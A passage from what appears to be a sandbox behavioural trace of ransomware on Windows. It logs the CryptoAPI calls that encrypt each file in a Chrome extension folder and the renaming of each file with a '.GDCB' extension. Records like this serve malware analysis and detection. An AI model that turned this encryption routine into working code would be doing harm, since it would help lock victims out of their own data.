pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b9e0) returned 1 [0274.860] CryptGetKeyParam (in: hKey=0x679b9e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.860] CryptEncrypt (in: hKey=0x679b9e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.860] GetLastError () returned 0x0 [0274.860] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.860] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.862] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bca0) returned 1 [0274.862] CryptGetKeyParam (in: hKey=0x679bca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.862] CryptEncrypt (in: hKey=0x679bca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.862] GetLastError () returned 0x0 [0274.862] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.862] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.864] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.867] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.869] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x315, lpOverlapped=0x0) returned 1 [0274.878] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.884] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0274.889] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.893] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.895] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.895] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.895] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.895] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.900] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.901] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.903] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bde0) returned 1 [0274.903] CryptGetKeyParam (in: hKey=0x679bde0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.903] CryptEncrypt (in: hKey=0x679bde0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.903] GetLastError () returned 0x0 [0274.903] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.903] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.906] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b960) returned 1 [0274.906] CryptGetKeyParam (in: hKey=0x679b960, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.906] CryptEncrypt (in: hKey=0x679b960, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.906] GetLastError () returned 0x0 [0274.906] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.906] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.907] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.911] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.913] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2d0, lpOverlapped=0x0) returned 1 [0274.922] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.929] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\vi\\messages.json.gdcb")) returned 1 [0274.935] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.940] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.941] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.941] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.941] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.946] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.946] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.946] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.946] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.949] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bae0) returned 1 [0274.949] CryptGetKeyParam (in: hKey=0x679bae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.949] CryptEncrypt (in: hKey=0x679bae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.949] GetLastError () returned 0x0 [0274.949] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.949] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.951] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bba0) returned 1 [0274.951] CryptGetKeyParam (in: hKey=0x679bba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.951] CryptEncrypt (in: hKey=0x679bba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.951] GetLastError () returned 0x0 [0274.951] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.951] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.952] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.956] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.958] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x253, lpOverlapped=0x0) returned 1 [0274.967] VirtualAlloc (lpAddress=0x0, dwSize=0x260, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.974] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json.gdcb")) returned 1 [0274.981] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.987] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.987] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.987] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.987] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.992] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.992] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.993] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.995] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679be60) returned 1 [0274.995] CryptGetKeyParam (in: hKey=0x679be60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.995] CryptEncrypt (in: hKey=0x679be60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.995] GetLastError () returned 0x0 [0274.995] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.995] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.997] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679bd60) returned 1 [0274.997] CryptGetKeyParam (in: hKey=0x679bd60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.997] CryptEncrypt (in: hKey=0x679bd60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.998] GetLastError () returned 0x0 [0274.998] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.998] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.999] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.002] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.004] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x280, lpOverlapped=0x0) returned 1 [0275.013] VirtualAlloc (lpAddress=0x0, dwSize=0x280, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.020] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_TW\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_tw\\messages.json.gdcb")) returned 1 [0275.025] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0275.029] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.032] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.032] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0275.032] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.032] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0275.036] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.039] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0275.039] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.040] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0275.042] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679a860) returned 1 [0275.042] CryptGetKeyParam (in: hKey=0x679a860, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0275.042] CryptEncrypt (in: hKey=0x679a860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0275.043] GetLastError () returned 0x0 [0275.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.043] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0275.045] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x679bf60) returned 1 [0275.045] CryptGetKeyParam (in: hKey=0x679bf60, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0275.045] CryptEncrypt (in: hKey=0x679bf60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0275.045] GetLastError () returned 0x0 [0275.045] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0275.045] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0275.046] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0275.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0275.053] ReadFile (in: hFile=0x424, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285d160*=0x2dfa, lpOverlapped=0x0) returned 1 [0275.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2e00, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0275.069] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_metadata\\verified_contents.json.gdcb")) returned 0 [0275.086] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.089] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.092] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0275.092] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0275.092] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0275.095] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0275.098] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0275.099] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0275.099] CryptReleaseContext 